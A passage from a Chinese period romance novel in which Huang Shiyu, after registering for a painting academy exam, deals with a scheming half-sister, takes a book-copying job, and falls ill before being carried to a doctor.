惟愿二小姐步步小心。 黄时雨无心关注自己外貌,时不时清点斜挎包里的宝贝:凭考证、册籍、路引。 一样也不少! 压在头顶的巨债似乎都因此变轻了。 人的心间一旦放松开了花儿,气色也会跟着亮起来。 连回程的路都比来时芬芳。 “好闻吧?”韩意淮伸手拨了拨黄时雨头顶的银质镂空小香炉。 说是香炉却更像一只圆形的香囊,雕着百鸟花卉,漂亮极了,那好闻的味道便是从里面幽幽散发。 原来韩意淮换了熏香。 黄时雨欣然点头,“好闻,仿佛葡萄又好像玫瑰。” 总之是女孩子会喜欢的香味,银鹤说的果然没错。 韩意淮殷勤道:“喜欢的话回去我便合给你。” 合香而已,就没有肃王殿下不会的。 高雅的画师不仅通晓笔墨之事,也通合香抚琴。 黄时雨连忙拒绝,“不了,这么好闻的香于我来说不一定算好事,绵软而柔情,不知不觉就消磨了我的意志,那便得不偿失。” 韩意淮觉得她有趣极了,“哦,为了考画署你要头悬梁锥刺股吗?” 黄时雨慎重地点了点头,乌黑的眼睛望着他,“我们女儿家若不努力就会被阿爹随便嫁掉。” 她就是一个被阿爹卖掉的小孩,但此刻想起,竟也没有那么难过了。 韩意淮怔怔望着她,嘴角动了动,猛然伸手将她揽入怀中,车厢随之剧烈晃动。 马蹄嘶鸣,群狼哀嚎。 琥珀猝不及防,当时就摔在了地上。 黄时雨连忙推开韩意淮去扶她,两个头晕目眩的小女子才将将坐稳,车厢又一阵颠簸。 韩意淮再次将黄时雨固定怀中。 片刻之后,车厢外传来银鹤的声音:“公子,官道有狼,已经被护卫射杀,方才便是那几只畜生惊扰马匹,您没事吧?” 韩意淮轻轻握住黄时雨冰凉的小手,“我没事。” 官道还能出现狼,可想而知,此行若是黄时雨自己,不知得要多么险恶。 她从后怕中苏醒,下意识朝窗外望去,忍不住惊呼。 韩意淮的目光也投过去,略微惊讶,但不似黄时雨慌张。 “鬼,鬼啊!”她指着窗外不远处那个倚着灯柱子的老婆婆,后背一阵一阵地发凉,汗毛立起,“思渊,思渊,快跑,她是鬼!” “是人,你瞧她有影子。”韩意淮镇静道。 “不是,她早就被下大狱,定为节后斩首的重罪,怎会站在这里!”超越现实的怪像吓坏了黄时雨。 唯恐思渊不信,她将丐婆和裴盛之事一股脑儿抖出来。 韩意淮轻拍黄时雨后背。 “她活着的时候总爱寻我说奇奇怪怪的话,有时还粘着我,现在定是回魂夜想来索我的命。”黄时雨用力攥住韩意淮的袖端。 韩意淮极自然地抱紧她,示意护卫把人拿下。 护卫调准箭矢瞄准了丐婆。 丐婆连忙举手后退,咧嘴冲黄时雨的方向笑,“小姑娘,我不是鬼,下次我再来看你。” 说罢,就蹦蹦跳跳钻进了夜色里。 四下除了官道的石柱灯亮光,两侧越往里便越伸手不见五指,漆黑阴森,并不适合追击。 再者本就穷寇莫追,护卫的职责是守卫肃王而不是擒拿要犯。所以当确保肃王安全无虞,众护卫立即在首领的授意下各自撤回原位。 韩意淮从不信鬼神之说。 行迹鬼祟的丐婆不仅是人,且是个绝顶高手。 装神弄鬼地吓唬小姑娘。 他淡淡道:“启程。” 第35章 画眉 丐婆的出现把个黄时雨吓得丧魂落魄,当成了孤魂索命,情急中有人张开怀抱将她紧紧揽住。 她捂着双眼,但清楚琥珀没有这样坚硬宽阔的怀抱。 韩意淮几度失神,不意微喘相依仅仅维持了几个弹指。 他的暖香软玉很快又投进了贴身丫鬟琥珀怀中,而琥珀也连忙伸手接她。 两个小女子坐在对面,瑟瑟然挤成一团,韩意淮悻悻两手空空。 小木头脸儿煞白,尚带着劫后余生的戚戚,不见半分羞然春色,只有他自己还在回味着心头突突跳个不停的滋味。 “一个逃犯而已,报官即可,若真是厉鬼又怎会惧怕亲卫的箭矢。”韩意淮温声道。 黄时雨也渐渐平复心绪,吞咽了下,“可她一个风烛残年老婆婆越逃大狱,听起来……比鬼神之说更离谱。” 韩意淮笑道:“这世上本就诸多闻所未闻的奇人奇事,再说,一个苦练几十年的高手最后不外乎就是个老婆婆或者老爷爷,不足为奇。” 皇兄身边的骁影卫莫说区区县衙的大狱,便是大理寺的也能闯一闯。 若说奇也奇在寸土大的泽禾卧虎藏龙。 韩意淮的安抚令黄时雨稍稍恢复血色。 她虽不理解却直觉他没有骗人。 韩意淮将一枚云锦护身符递给她,“这个给你,总不怕了吧。” “护国寺主持亲自开过光,很灵验的,这可是我母……阿娘亲自给我求的。” 母后每年都为他祈福,如今已是第十七枚,便送给乖觉讨喜的小木头吧。 他将护身符轻轻塞进她的小荷包里,系好。 护国寺主持开过光的,那得多贵啊,黄时雨受之有愧,连忙掏出来还他,“方才是我失礼了,平时我也没那么胆小,再说给我了你怎么办……” 韩意淮略有些羞涩,轻轻拢住她小小的手,又推开,“我可是堂堂七尺男儿怎会惧怕宵小之物,况且我每年都有,你若过意不去以后送华山长点心记着也给我带一份。” 黄记的点心可不便宜,隔三差五送真是一笔不小的花销,债台高筑的黄时雨很是心疼,却也深觉该当如此。 比起思渊所做的,这些都是应该的。 于是欣然应下,但还是将护身符还给了年轻的肃王。 她说:“思渊兄襄助我成功报名画署,不管多少点心我都给你做,但是这个我不能收。” 韩意淮望着掌心的护身符,淡淡的失落。 肃王的车驾在距离后院正门尚有一射之地就被叫停。 黄时雨防患于未然,对韩意淮道:“我得先下车了。花婆婆年纪大觉浅,我这么晚回去稍不留意便要暴露今日行径。深夜归家已无从狡辩,若再让她察觉我与男子同行,后果自是不堪设想……” 主要是她和琥珀两人轻便,少了韩意淮这些辎重人马,就可以轻手轻脚溜进屋。 韩意淮道:“好哦。” 目光追随她下车。 黄时雨和琥珀手牵手才走了数十步,就见韩意淮一阵风似的闪到眼前。 韩意淮道:“今儿你也瞧见了我做事有多靠谱,你可不能忘了我们的约定。” 黄时雨当然不会,自己再穷也不至于克扣答应他的几口吃食,“放心吧,许你的点心保证与华山长的一模一样,全是我亲手而做,一个月都不重复呢。” 韩意淮才想起要了她点心的事,茫然点了点头,又正色道:“不止这个,咱们说好的每月初一十五相见……呃,请安。” 是有这么回事,黄时雨无不点头。 他怎么老是提醒她呀,仿佛她是什么言而无信之人。 不过摸一摸小挎包,那里放着册籍凭考证还有路引,她就觉得自己像朵蒲公英,马上要飘起来啦。 原来讨她欢心的好处这么多,竟无一不爽应他。 韩意淮心若晨鼓,“那我就放心了,快回去吧。” “嗯,你也快些回书院吧。”黄时雨朝他挥挥手。 韩意淮将灯笼放在她手心。 竹柄尚带着他余温。 路途昏暗,再加上才被“鬼”吓过,此盏烛辉竟看上去那般美妙。 黄时雨抿了抿唇,“谢谢思渊兄。” 她牵着琥珀头也不回继续朝前走。 秋夜深深,天上月朗星稀,地下还有韩意淮人马高举的火炬,黑夜竟也没有那么浓暗了。 黄时雨的前路不仅有微光,手里还有一盏明月。 她专心致志前行。 琥珀绷紧了一整日的神弦也终于松弛下去。 二小姐和她都赌赢了。 用性命豪赌思渊公子的人品。 主仆二人蹑手蹑脚开门关门,又蹑手蹑脚避开花婆婆所居的倒座,提着裙子猫了腰,全程大气也不敢喘,做贼一般溜上二楼。 黄时雨的房间还点着蜡烛,外间小茶炉子温着一壶热水,柳儿正蹲在地上两手握着铁杆儿拢炭火,防止炉子熄了,也不能任由炭烧旺。 小丫鬟在不知不觉长大,学会做好多事。 听见动静,柳儿兴冲冲奔来,在衣服上擦擦手,然后拉着黄时雨的手,仰着脸儿笑。 她的表达能力尚且薄弱,然满满担忧和欢喜写在脸上。 琥珀欣慰道:“茶水温度刚刚好,我们柳儿哪里笨了,我瞧着做事周全一点也不逊于黄太太身边的人。” 黄时雨也夸她越来越伶俐。 柳儿尚且年幼,这个年纪的孩子被夸那是相当地来劲。 柳儿登时挺直胸膛,竭力将要说的话表达清楚,语速比之寻常人稍稍缓慢,“白天大家都很忙,没有人打扰,用饭时间我便下去领了三份餐食,就说,就说二小姐头疼卧床,花婶和花婆婆着急和面,只问一句需不需请医问药,我说不需,小姐吩咐熬碗姜汤喝即可,她们便不再管。就寝时间,我还假装出去倒了两盆洗漱的水呢。” 小姐教过她,放平心态,慢慢说话儿,只有缓慢了才不着急,不着急脑子就有空暇思考要出口的话儿。 柳儿不着急,学着慢慢说,把意思表达清楚,终于能完整地讲一大段。 黄时雨含笑:“你做得好极了,也说得好,给你记一个大功劳。” 琥珀笑着开箱找了一大包零嘴赏柳儿。 就没有小孩不爱这个,柳儿也喜欢。 她两手包着零嘴,忽然问:“那柳儿以后还能见到福泽吗?分他零嘴吃。” 依然记得那个美貌的小男仆福泽。 福泽值一千五百两,柳儿是半卖半送的附赠,但这些都是牙行定的,两个纯真无邪的孩子全然不觉得彼此有何不同。 应该能吧。 黄时雨道:“等你成为独当一面的大丫鬟,就可以去简家送节礼跑腿儿,自然是能见到的。” 好。柳儿乖巧地点点头。 主仆三人欢欢喜喜洗漱更衣。 睡前黄时雨又检查了一遍考试所需之物,亲自包裹三层茧绸,再放进另一只全新的小挎包内,挎包的绳子抽拉自如,系上结便是跑跑跳跳也不怕东西撒漏,极为安全。 她将小挎包仔细放置箱笼最底层,上锁,钥匙藏于贴身的小荷包。 黄时雨的胆子也就一粒豆那么大,理智上相信了丐婆不是鬼,情感上过不去,总怕熄了灯牛鬼蛇神入梦来。 她鼓起勇气吹熄蜡烛,一头钻进被窝裹成了茧蛹。 现今完美解决了最担心的事情,又有简允璋打掩护,黄时雨只剩下苦练画技和攒钱两项难题。 这是个凡事看得开的快乐姑娘,得到一点甜头就能开心一整日,所以她把难题先抛一边,只想着自己有资格参加画考,越想越甜蜜,沾上枕头即沉入甜梦。 梦见自己顺利通过且凑齐三百两,简允璋宣布她自由了,但是命她三日内还清剩下的一千七百两。 她苦苦哀求再宽限几日,那边画署的人已经催她干活。 她只好认命地跪在地上擦洗,却碰翻了擦地的脏水,水花飞溅,湿透了周围所有人衣摆,包括阁主。 青面獠牙的阁主揪着她衣领将她扔出了画署。 黄时雨嚎啕大哭,扑过去捶打轰然阖上的铆钉朱门,却无论如何也捶不开。 天光微亮,黄时雨睁开眼,照常洗漱喝水用餐,然后一头扎进自己的小书房——一间碧纱橱,由隔板和青纱围成。 黄秀才突然巡查铺子,花家一大家子相迎。 没想到黄三小姐也来了,这可是个金贵人。 严格来说黄晚晴拢共只来过两趟,且还是两年前,但她那气儿大了就吹倒,气儿暖了能吹化的金贵,早已深入人心。 当年花家人第一次与雇主家眷照面,信心满满献上铺子最好的点心和甜汤,以期在太太三小姐眼里落个好。 万没想到三小姐把每样点心咬一口,再吐掉,唯有甜汤例外,吃得个干干净净。 底层出生的人见不得糟践粮食,顿时对三小姐不喜,然而粮食是人家的,糟不糟蹋轮不到他们置喙,只能将不喜放在心里,原以为此事也就这么过去。 殊不知三小姐吃光的甜汤险些砸了花婶饭碗。 时下甜汤的口感为了达到最适,得先放在井水里镇一镇,同湃西瓜一个道理,也正适合五月的气候,谁知三小姐当晚突发腹痛高热。 黄太太找不到原因便认定甜汤所致,次日便在铺子杀性子,扬言要扣花婶月钱。 花家百口莫辩,心灰不已。 花婶吃瓜落就等同花掌柜没脸,黄秀才舍不得为难花掌柜,一力压下,方使得黄太太败兴而归,也把花家的好感败没了。 如今一见三小姐,谁敢凑上前,却听得一个不啻晴天霹雳的消息:三小姐要在铺子住几日,下个月随二小姐一起回家。 天菩萨嘞! 花家是受雇来做工的,不是给黄家做奴仆,有黄晚晴这么一尊大佛,生意还要不要做? 黄秀才当着众人面对黄晚晴道:“既然你非要过来散心,那就按这里的规矩行事,一切向你二姐姐看齐,除了你带来的,这里无人供你使唤。” 黄晚晴一改往日性子,柔柔应是。 花家人松了口气。 东家明着告诉他们不用伺候黄晚晴了。 黄时雨前来给黄秀才请安,淡淡扫了他身边的黄晚晴一眼,来之前就瞧见黄晚晴的仆婢在隔壁收拾房间,便也猜到了七八分。 她笑了笑。 怎么有人不在家当千娇万宠的大小姐,偏跑来甜水铺子没苦硬吃。 倒也不用劝什么,就由晴娘住下,不出几日必然自讨没趣。 黄晚晴迈着小碎步凑过来,欢欢喜喜拉着黄时雨的手,“二姐姐,我在家里憋闷坏了,听说鹿锦书院附近的风景极好,眼下入秋玉山湖畔红枫如火,求你陪我到处走走嘛。” 黄时雨敷衍她有空再说,抽手给黄秀才斟茶,“阿爹,晴娘,铺子的伙食全靠花婶置办,不分好赖,有啥吃啥,忙起来常常三两道家常菜对付,难以讲究精细。” “晴娘肠胃素来比旁人弱些,受得住吗?”黄时雨问。 有些事得当面讲清楚,希望阿爹继母任由晴娘胡来的同时做好承担后果的准备。 黄晚晴站在黄秀才身后,揉了揉帕子,抢话道:“当然受得住,我也没那么娇弱。” 所谓头疼脑热多半是装的,因为只要生病大人便对她百依百顺。 但男人不喜欢体弱多病的,影响生儿子。 所以阿娘因着她的身体操碎了心,时常叮嘱她不可在外面表现出来。 那她不装不就好了。 黄晚晴嘟着嘴道:“嗳呀,我不用你们操心,我带了足够的人手,吃不惯便自己做。” 黄时雨说也好,便不再出声。 三个人的厅堂竟那样沉默。 黄晚晴心不在焉,尚沉浸在来时阿娘说的话头里。 那些话解开了此前种种不合理。 原来简少爷早就是她的姐夫。 “姐夫”两个字令她冷一阵热一阵,眼眶通红。 凭什么? 简少爷怎么可以看上没有生母教养的梅娘。 黄晚晴不甘。 若非自己规行矩步,不会勾搭男人,错失与简少爷相知相许的机会,又岂会由梅娘独占鳌头。 但是“姐夫”这两个字又创造了无限可能,不是吗? 黄晚晴捺下所有不甘,笑着挽起黄时雨胳膊,与她结伴回房间。 这次她带了不少女儿家的好物,光新衣裙就十几套,成套的珠花另算,“二姐姐,你一半我一半,咱俩身量差不多,我的衣裙你都能穿,你若喜欢便都拿去吧。” 黄时雨道:“我用不上,你留着自己穿吧。” 黄晚晴也不以为意。 下个月梅娘回家,必然还是简少爷接送,她就可以名正言顺与他同乘。 他还没见过她呢。 想到李富贵对自己的痴迷,黄晚晴愈发得意,得意中又暗含几分不屑,却无比期待与简少爷的相遇,以及他的神情。 为了这趟同乘,黄晚晴开启了甜水铺子的吃苦岁月,狭小的房间,简陋的饮食,无不令她苦不堪言,但不耽误她每日都在为“相遇”做准备,从头发丝到指甲,无一不捯饬精致。 箱笼还另放三套精心挑选的衣裙首饰,力求以最惊艳的模样出现在简珣面前。 当黄晚晴捯饬手指甲,黄时雨在读书。 当黄晚晴捯饬桃花粉敷脸,黄时雨在调墨侍丹青。 当黄晚晴捯饬衣裙首饰,黄时雨在练字。 姐妹二人各忙各的,倒也各自为战,相安无事。 此前答应简珣的六幅丹青已经完成四幅,黄时雨交给琥珀的同时也吩咐她给简珣带句话——剩下的两幅还需要一段时日,因为她想尝试活物。 既然要考画署,那就不能出现弱项。 她的活物可以没有静景传神,但不能不会。 黄时雨逼迫自己观察鸟类。 当它们停在树梢,展翅欲飞,以及翱翔天际,无不牵引着她灼灼目光。 倘若能有一只活的乖乖立在掌心里便好了。 又想到连只笼子里的都寻不到,谈何立掌心。 除非去县里花鸟坊市买一只。 那应该不便宜吧…… 再一个她还不会养,倘若养死岂不罪过。 正当黄时雨百般纠结思量之际,只见琥珀推开院门,旁边跟着眼睛圆溜溜的小福泽,福泽手里拎着个大笼子,赫然装着一只跳来跳去的画眉,鸣声清脆婉转,甚为活泼。 琥珀定是得了不少打赏,神采飞扬道:“简少爷听闻你打算临摹画眉,便买了赵先生的借你赏玩,又怕你不会侍弄,这才安排福泽前来照应。这孩子年纪不大,竟是侍弄鱼鸟的好手。” 几日不见福泽稍稍有点儿认生,怯怯上前拜见黄时雨。 黄时雨檀口微启,止不住讶然。 简允璋莫不是神仙,怎么她想什么就给她来什么。 除了画眉,福泽还带来一封书信。 自然是简珣写给黄时雨的。 语气淡淡,声称买钞引(买股),万一她将来真的功成名就,这幅花鸟首作可就是无价之宝,所以请她认真相待莫要负了他,更不能把他花钱买的画眉苛待死,那可是大罪孽,一切交予福泽盯梢。 最后又特特威胁一句,举凡画眉少一根鸟羽,便拿她是问。 谁知道他家的鸟儿会不会自己掉毛,黄时雨无语。 福泽适时地从旁补充一句,“少爷还说请您放宽心,您只需管我吃住即可,月钱他来付。” 真的是,说得好似她有多穷多爱计较似的。 黄时雨噎了噎,好像也没说错,现下她早已是捉襟见肘。 “多谢你家少爷好意,也辛苦你了。”黄时雨赧然接过鸟笼。 琥珀则在二小姐的吩咐下带福泽前去安置。 柳儿眼睛亮亮的,甫一得到二小姐首肯,也立刻跟去,拉着福泽兴高采烈跑走。 这厢黄时雨的注意力渐渐被活生生的画眉吸引,明眸越来越亮。 好漂亮的鸟儿。 她坐在廊下左看右看,笑靥如花。 简珣结束了一天的功课,转眸望向窗外,也笑了。 第36章 迷糊 黄晚晴趴在二楼窗户看了良久,见琥珀等人离开,兀自下楼,一步子一步子,缓缓迈着,直到站定黄时雨身后。 梅娘更小一些的时候,六岁,或者七岁,有一头细软稀疏的毛发,微微发黄。 阿爹总埋怨阿娘没有喂她吃些有营养的食物,把个好好的闺女养秃了,这么点头发将来挽个小髻都麻烦。 时下女孩子头发少难说亲。 那时阿娘每次见到梅娘就捂着嘴笑,她明知故问:“阿娘你笑什么?” 阿娘就会笑出更大声,说:“单眼皮稀头发,长得可真像她死鬼短命的娘,丑死了。” 她觉得阿娘骂人真难听,却也认同这才是梅娘该有的模样。 可自从多事的灶上婆子偷偷开小灶,梅娘就像一朵汲取到了养分的胭脂芍药,于次年的春日肆意绽放。 绽放了满头乌黑浓密的青丝,那所谓的单眼皮竟也不是真的单,而是一层窄窄的双眼皮,又像是内双,形状娇美动人,多一分太过失一分减韵,望之欲夺心魄。 这还是梅娘吗? 这确实是梅娘,她的二姐姐。黄晚晴面色复杂望着黄时雨坐于月牙杌的背影,人,怎会有那么纤细的腰肢? 似故意炫耀一般束了把丝绦,妖妖调调,唯恐旁人瞧不出她有多细。 可不管怎样,梅娘的美貌毋庸置疑。 黄晚晴愤恨钟意美貌的男子肤浅,又渴望自己也能拥有。 她目光落在月牙杌上,又看看旁边的三层阶梯,想推梅娘一把,但放在她肩膀的手顿了顿,变成了轻轻拍了拍。 “二姐姐,这是姐夫给你买的画眉呀,他对你真好。”黄晚晴笑道。 梅娘目光瞥向她,又调开视线,淡淡道:“他不是你姐夫,莫要口无遮拦出去惹人生笑,笑话的可不止我,连你一起笑进去。” 律法上确实不算姐夫,但贵妾形同副妻,要么不纳,纳了就绝对与众不同,两家互相走动正常称谓不足为奇。 黄晚晴叫一声姐夫,黄秀才称一声贤婿,在时人听来并不会觉得算什么大过。 偏黄时雨较真。 黄晚晴心里暗笑摆什么清高谱儿,真清高的人也不去勾搭邻家哥哥,但仍柔柔道:“知道了。可本来就是姐夫呀,说出去旁人羡慕还来不及,傻子才笑呢。” 话不投机半句多,黄时雨缄口不言。 因为要做双份点心,次日黄时雨起了大早。 铺子部分食材有限,譬如牛乳,奶酥,松仁之类的,想要单独多做一份就得自掏腰包。 黄时雨在花掌柜那里记了账。 平时一个铜板都恨不能掰成两份用的人,突然阔气,掏出一两银子,花婶啧啧称奇。 于黄时雨来说,瞒着家人报名画署并省去面试的麻烦,别说一两便是三十两也值,反正虱多不痒,债多不愁。 授课日,一般卯时华山长就坐在学馆,黄时雨早起惯了,完全无负担,她将思渊的份例松仁奶糕和奶酥卷儿交给琥珀,主仆二人兵分两路前去送餐。 卯时韩意淮正在洗漱,五六个内侍丫鬟捧沐盆、丝帕、刷牙子(注,牙刷)等物依次排开。 金鹤选了肃王惯用的香药牙粉铺在刷牙子上,双手恭恭敬敬呈上,旁边的丫鬟已经开始伺候肃王漱口。 不意牙才刷一半,就听银鹤隔着帘子回禀:“方才收到了黄姑娘做的点心,松仁奶糕和奶酥卷儿。” 特意回明一是为了告知肃王收到了与姑娘家约的点心;二是点心全都不是他喜欢的,奶糕偏甜,奶酥油腻,所以等他一句话,摆饭的人好决定端不端上桌。 韩意淮一愣,瞅了瞅将刷一半的牙,匆忙漱口腾出嘴巴道:“别让她走了,请她稍等我会儿。” 说完继续刷。 急也没用,总要齐头整脸才能出去见人。 肃王是个体面又讲究的少年郎。 银鹤顿了顿,轻声道:“回殿下,点心是琥珀送来的。” 并不是黄姑娘。 肃王口中的那个“她”显然不是琥珀。 小木头只想在华山长身边念书,约好的送点心竟是由丫鬟来替代。 却又偏偏寻不到她错处。 因为她只答应做点心给他吃,倒也没说亲自送。 韩意淮拧了眉,郁郁寡欢,连带着周遭气氛也沉了下去。 众侍垂首,大气也不敢喘,小心伺候着。 燕居的肃王习惯散着长发,只将额前鬓角碎发编成几股纤细的小辫子挽于脑后以丝带缚住。 平时手脚灵活的小丫鬟今天不知是太紧张还是怎么的,没留神扯到肃王发根,痛得他“嘶”了声,小丫鬟浑身一抖,立即跪地告罪。 肃王本来就不开心,这下更是恼火,气涌上头,原本浅红的唇色又深几许,像是抹了胭脂似的。 俊美归俊美,但凌厉也是真凌厉。 新上任的小丫鬟闭目等着挨一脚。 殊不知她运气不错,肃王底子尚算温良,并未行暴虐之事,犯了低级错误的她倒逃过体罚。 小丫鬟有种劫后余生的飞升感。 韩意淮冷声道:“下去。” 这一去就真的去了,往后再难近身侍候。 小丫鬟如蒙大赦,连滚带爬退下,又被银鹤姑姑叫过去好一顿训斥。 另一边的华山长吃到了美味的松仁奶糕,点评一句九成满意,缺一成是因为糖放多了。 黄时雨连忙记在随身携带的小本本上,以后华山长绵白糖含量减六成。 华山长满意地点点头,“不错,倒是个用心的小丫头,拿来我瞧瞧。” 黄时雨没想到他老人家会在意这个,便递了过去。 人,往往特别重要的事才会动笔记,而华山长的事便是黄时雨心里顶顶重要的。 略有厚度的本子记载着华山长在一年间口味的变化与喜好,字迹从稚嫩到熟练,从涂涂改改错字到行云流水,最终变成今日一笔漂亮的娟秀小楷。 华山长仿佛看见了一个抽枝发芽并开了花儿的女孩。 老头子年轻时也是性情中人,突然鼻子有点发酸,平复了一下,对黄时雨笑道:“不错,进步非常大,看来私底下没少下功夫。” 黄时雨腼腆地挠挠头,“托您的福,我现在越来越喜欢念书,倘若您老能借我几本……” 又想借我的书,华山长胡子一抖,揣着手纠结,“借书,不行。” 果然,又是这一句。 “不过,我这里有个挣钱的小活计,倒是有机会多看些书,端看你想不想做。” 黄时雨点头如捣蒜,就冲“挣钱”二字不做也得做,还能看到书简直锦上添花。 于是她得到了一份抄书的营生,但不能带书册回家,因为它们都不属于华山长,也是他借的。 对于书痴来说,借来读一遍委实不甘,最好能抄下来。 可是华山长年纪太大啦,坐下稍微久一些老腰便撑不住,更别提长时间盯着细密如麻的字,轻则头晕眼花,重则脑仁痛好几天。 那么眼睛明亮,浑身洋溢生命力的少女黄时雨简直是天选抄书人。 她特特把每个字都写大了一圈,以便华山长阅读。 这份活计既有钱拿还能借机读一些孤本,怕是很多人求都求不来的。 黄时雨心里清楚,这是嘴硬心软的老爷爷对自己的额外照顾。 她的快乐和感动转化成秋日的鲜花,有时候一把路边黄,有时候一捧玉簪花,离华山长最近的花瓶时时新鲜芬芳。 华山长授课之时,她就坐在隔壁的小轩中,一笔一划抄书,华山长的小厮则蹲在旁边烤红薯烤花生或者煮茶。 抄书挣的银钱恰好填补了为思渊做点心的亏空,说不定还有结余。 黄时雨觉得自己是顶顶幸运的姑娘,生活虽苦,却每一步都有转机,每一天都有希望。 日子眨眼来到了九月,秋风一天比一天凉,黄时雨抄书的时候就专门多穿了一件。 今儿是初一,得先给思渊大爷请个安再回去抄。 学生怎么给老师请安的,黄时雨就怎么给思渊请,带一份贽礼上门说吉祥话即可。 她和琥珀掐着点赶早,天都没亮,举着灯笼摸过去。 思渊舍馆的大门紧闭,待她们将将走近,只听吱呀一声,一名打着哈欠的粗使丫鬟推门而出。 黄时雨上前说明来意,丫鬟道公子尚未起身。 没起身好呀,来这么早为的就是他没起。 黄时雨请丫鬟代为转达自己的吉祥话,同时递上贽礼,又朝着思渊主屋的方向恭恭敬敬施礼。 粗使丫鬟“呃”了一声,主仆二人对她道“有劳啦”,眨眼便溜个没影。 两刻钟后韩意淮气急败坏,套上皂靴就要去追黄时雨,银鹤连忙拦住,柔声劝道:“殿下息怒,黄姑娘走的时候约莫寅时两刻,您现在再追,脚印都没了。” 韩意淮委屈不已,回身摔帘子重新进了内室。 小木头很怕他,自从京师回来就一直在刻意保持距离,再不敢靠近他一步。 是因为他欺负了她吗? 原来她什么都懂,知道他欺负了她。 却依旧选择随他进京报名。 一路上安安静静的,内心怕是已如惊弓之鸟。 于她来说,那是一场要么死要么重生的旅程。 尚抱着一丝侥幸沾沾自喜的肃王终于尝到了挫败的滋味。 初五这日送完点心,琥珀提前回铺子。 屋里收拾洗晒全靠她与柳儿,且还要为黄时雨做冬衣,忙碌程度完全不亚于任何人。 黄时雨连续抄写两个时辰,已是头晕眼花。 今儿是为华山长抄书的第十一天。 明儿寒露,要放节气假,一直放到初九重阳节,拢共四天。 所以今天才多抄写了会儿。 黄时雨停笔揉了揉酸痛的腕子,连续不分昼夜的作画练习终于伤及筋骨。 因为与华山长经常见面,很快就被他发现异常,也被他狠狠训斥了一顿。 华山长告诫黄时雨需劳逸结合,并赠了几贴膏药,配合着晚间热敷。 按照着华山长的法子,果然有所缓解。 小厮端来一杯茶,好心道:“先生让您喝杯茶吃两块点心再回去好好休息。” 也成,回去还得作画。黄时雨胡乱对付几口,起身辞别华山长。 虽然简黄两家的“姻亲”关系暂时不宜宣扬,但小范围内不是秘密,意会不言明。 花婶和花婆婆早已得过黄秀才暗示,知道有准姑爷的存在,而婆媳俩恰好也认识准姑爷的下人福生。 所以当福生再次来访,花婶没有任何犹豫就打开门。 福生自然为了黄二小姐,琥珀告诉他二小姐尚在书院,可能要过会子才到家。 “有什么事吗?我可以给二小姐带话。”琥珀道。 “那就有劳琥珀姐姐代为通传。”福生将一只八宝莲瓣形攒盒递给琥珀,“这是南边管事送来的,少爷觉得二小姐可能会喜欢,这里还有书信一封。” 攒盒里装满最受南方女儿家钟意的零嘴。 一看就不是简珣吃的。 他家的管事怎可能送这个给少爷,除非少爷要求的。琥珀心知肚明,牵了牵嘴角接过,“好的,我会转交二小姐。” 中秋过后,她就隐约猜到了一些,正好与之前的猜测不谋而合,而二小姐始终吞吞吐吐,却未曾否认,当下也就明白了。 有些话点到了明白了也就没必要再说出来。 琥珀在心里叹口气。 花婶倒是羡慕不已,姑爷家下人每次来都驾着马车,多气派啊。 那可是活生生的骏马,普通人家谁养得起,车厢更不必说,又大又气派。 黄晚晴躲在屋里听墙角,透过纱屉子偷瞄,只见琥珀接过一只景泰蓝掐丝珐琅攒盒,八宝莲瓣的形状,漂亮极了。 这到底是送零嘴儿还是送攒盒啊。 光攒盒就不知值多少。 倘若她开口要,梅娘愿不愿意送她呢? 想想也不可能,所以晴娘也只能想想,俗称做白日梦。 福生办完差事即刻回去,不意门口便遇上了正主,不由满脸惊愕。 他仔细瞧了黄时雨两眼,含蓄道:“二小姐,攒盒里还有少爷写给您的信。” 黄时雨揉着腕子道好,“是了,正好帮我带句话,节气假我不回家,你们不用管我了。” “那可巧了,我们少爷也不回,信上肯定会同您说个仔细。”福生道,又见黄时雨一脸疲累,就不忍多多打扰,“您快进去歇着吧,我这就回去复命。” 简珣身边的人不知何时起,对黄时雨的称呼由二姑娘变成二小姐,你变成您。 而泽禾的仆婢对主家就相对随意,并非不敬,而是都如此。 黄晚晴立在楼梯附近,对迎面走来的黄时雨笑了笑,见她无精打采的,想来自己也难以凑趣,便寒暄两句就此别过。 心里却是有些不忿。 姐夫单单送她的零嘴就不能打开分妹妹一块吗? 若是换成大姐姐,只怕是一盒都拿出来了吧。 黄晚晴踢着脚回去,心道二姐姐自来对我也没多好,那我若得了姐夫青眼也不算对不起她。 黄时雨回内室沾上枕头就睡了过去,晚饭也没吃,琥珀不忍叫醒她,便留一碗鸡丝粥温在小炉子上,自己则端来一盆热水,坐在床沿为黄时雨热敷手腕。 秋夜凉如水,棉帕子冷得快,琥珀得频繁浸热水再拧干。 那碗鸡丝粥最终也未进到黄时雨肚子里,次日琥珀起身就如往常一般叫醒二小姐。 黄时雨缩在被窝不想动。 平时比琥珀还早醒的人,居然睡起了懒觉。 但她昨日就没好好吃过饭,万不能再耽搁今日的。 琥珀笑着推了推黄时雨,入手滚烫,不由大惊失色。 黄时雨已经烧迷糊了。 福生前脚给简珣透露黄二小姐的气色看起来不大好,人也明显清瘦,次日一早就瞧见琥珀红着眼眶跑来求助,一问竟是要给黄时雨找郎中。 黄晚晴从耳报神丫鬟那里得知黄时雨病了,连忙道:“这可如何是好,附近连个医馆也无。” “书院里有擅长医术的先生,方才我就瞧见琥珀急匆匆出门,想必找姑爷想办法了。” 耳报神懂得还不少。 黄晚晴这厢才用了两盏茶,但见楼下琥珀急匆匆归来,噔噔噔跑上了二楼。 二楼柳儿已经伺候黄时雨洗漱完毕,琥珀过来帮忙穿衣拢头发,这才与柳儿一同架起黄时雨,搀扶着下楼。 楼梯略陡峭,平时没觉着,此时此刻方知惊险。 主仆三人每一步都走得提心吊胆。 琥珀虽已成年,无奈身段娇小,个头不比黄时雨高,根本无法背起她下楼,柳儿还是孩子就更不必说。 简珣负手来回走了两趟,干脆举步迈出厅堂,由福泽引路很快就发现了楼梯上摇摇欲坠的主仆,霎时变了脸色。 他从琥珀手里接过黄时雨,横抱起,匆匆下楼,阔步如飞朝厅堂走去。 擅长医术的赵先生也在福喜的搀扶下迈进了黄家。 黄晚晴躲在纱屉子后看呆了。 姐夫竟直接走过来抱起梅娘…… 这种亲昵令她浑身不适。 黄时雨尚有意识,无奈身虚腿软,眼冒金星,哪里还顾得上是被简允璋抱着还是拎着,礼数什么的见鬼吧,只想抓紧来个郎中救命。 “简允璋,我好难受呜呜呜。” “嗯。”简珣垂眸看着她,将她抱进见客的厅堂,轻轻放在圈椅里,琥珀连忙端来温好的茶水,服侍黄时雨饮用。 多喝水发发汗有益于散热。 